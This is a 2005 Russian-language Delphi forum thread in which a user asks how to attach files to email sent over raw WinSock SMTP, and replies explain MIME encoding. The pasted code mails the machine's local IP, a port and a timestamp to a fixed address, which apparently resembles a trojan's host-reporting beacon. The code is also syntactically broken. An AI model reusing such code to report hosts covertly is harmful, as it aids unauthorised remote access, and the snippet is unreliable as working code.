Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.12.11;
Скачать: CL | DM;

Вниз

Отправка письма с аттачем с помощью WinSock   Найти похожие ветки 

 
KGC ©   (2005-11-26 03:25) [0]

Здравствуйте уважаемые.
Заинтересовался я отправкой почты, посидел почитал нашёл пару примеров, да вот никак не могу найти а как к письму прикрепить файл или несколько ?
Интересует реализация с помощью сокетов без всяких компоненток.
Заранее благодарен .


 
KGC ©   (2005-11-26 06:22) [1]

Вот кусок кода из примера, а как сюда файлы прикреплять ума не приложу.

function SMTPRecvReply(MailSocket: TSocket): Word;
var
 Buffer: array[1..1024] of Byte;
 Err: Integer;
 BufStr: string;
begin
 BufStr := "";
 Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
 for Err := 1 to 3 do
   BufStr := BufStr + Chr(buffer[Err]);
 try
   Result := StrToInt(BufStr);
 except
   Result := 0;
 end;
end;

function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
 Buffer: array[1..1024] of Byte;
 Err: Integer;
begin
 Result := FALSE;
 ZeroMemory(@Buffer, SizeOf(Buffer));
 if Length(Str) > 1000 then
   Exit;
 for Err := 1 to Length(Str) do
   Buffer[Err] := Ord(Str[Err]);
 Buffer[Err] := 13;
 Buffer[Err + 1] := 10;
 Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
 if Err > 0 then
   Result := TRUE;
end;

function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
 MailSocket: TSocket;
 MailSent: Boolean;
 MTime: TSystemTime;
 SMTPServer: TSockAddrIn;
 Step: Byte;
 OutOfSend: Boolean;
begin
 MailSent := FALSE;
 OutOfSend := FALSE;
 MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
 SMTPServer.sin_family := AF_INET;
 SMTPServer.sin_port := htons(25);
 SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
 Step := 0;
 if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
   repeat
     case SMTPRecvReply(MailSocket) of
       220: SMTPSendString(MailSocket, "HELO server.com");
       250: case STEP of
           0:
             begin
               SMTPSendString(MailSocket, "MAIL FROM:" + mail);
               Inc(Step);
             end;
           1:
             begin
               SMTPSendString(MailSocket, "RCPT TO:" + mail);
               Inc(Step);
             end;
           2:
             begin
               SMTPSendString(MailSocket, "DATA");
               Inc(Step);
             end;
           3:
             begin
               SMTPSendString(MailSocket, "QUIT");
               Inc(Step);
             end;
         end;
       354:
         begin
           SMTPSendString(MailSocket, "From:" + ServerID);
           SMTPSendString(MailSocket, "To:" + UserName);
           SMTPSendString(MailSocket, "Subject:" + LocalIPS + " : " + port +
             " At " + DateTimeToStr(Now));
           SMTPSendString(MailSocket, CRLF);
           for count := 1 to (txt.Count - 1) do
             SMTPSendString(MailSocket, txt[count]);
           SMTPSendString(MailSocket, CRLF + "." + CRLF);
         end;
       221:
         begin
           OutOfSend := True;
           MailSent := True
         end;
     else
       OutOfSend := True;
       file: //!Case
     end;
   until OutOfSend;
 CloseSocket(MailSocket);
end;
ExitThread(0);
end;


 
Reindeer Moss Eater ©   (2005-11-26 10:24) [2]

Никаких файлов в почтовом сообщении нет.
Есть тело сообщения.
В теле сообщения помещается его текст и следом за ним содержимое файла кодированное по MIME


 
palva ©   (2005-11-26 10:26) [3]

Письмо с вложениями должно находиться у вас в массиве txt.
Сохраните из Outlook Express какое-нибудь письмо с вложениями. Это будет файл с расширением eml. Вот так и должно выглядеть ваше письмо, только начальные заголовки (с адресом и др.) нужно отбросить. Вы их уже передаете в своей программе. Если непонятно, читайте документ RFC-1521 или его частичный перевод http://www.free.net/Info/voronin-02/index.htm



Страницы: 1 вся ветка

Текущий архив: 2005.12.11;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.065 c
14-1132411904
QwertyKz
2005-11-19 17:51
2005.12.11
Microsoft Jet Непонятная ошибка


2-1132826152
JTAG
2005-11-24 12:55
2005.12.11
Народ подскажите по ComboBox


1-1131631572
Суслик
2005-11-10 17:06
2005.12.11
Вопрос про warning


4-1129121344
Mamed
2005-10-12 16:49
2005.12.11
Open file


1-1130944437
Игорь Степанов
2005-11-02 18:13
2005.12.11
Русификация текста стандартных диалоговых окон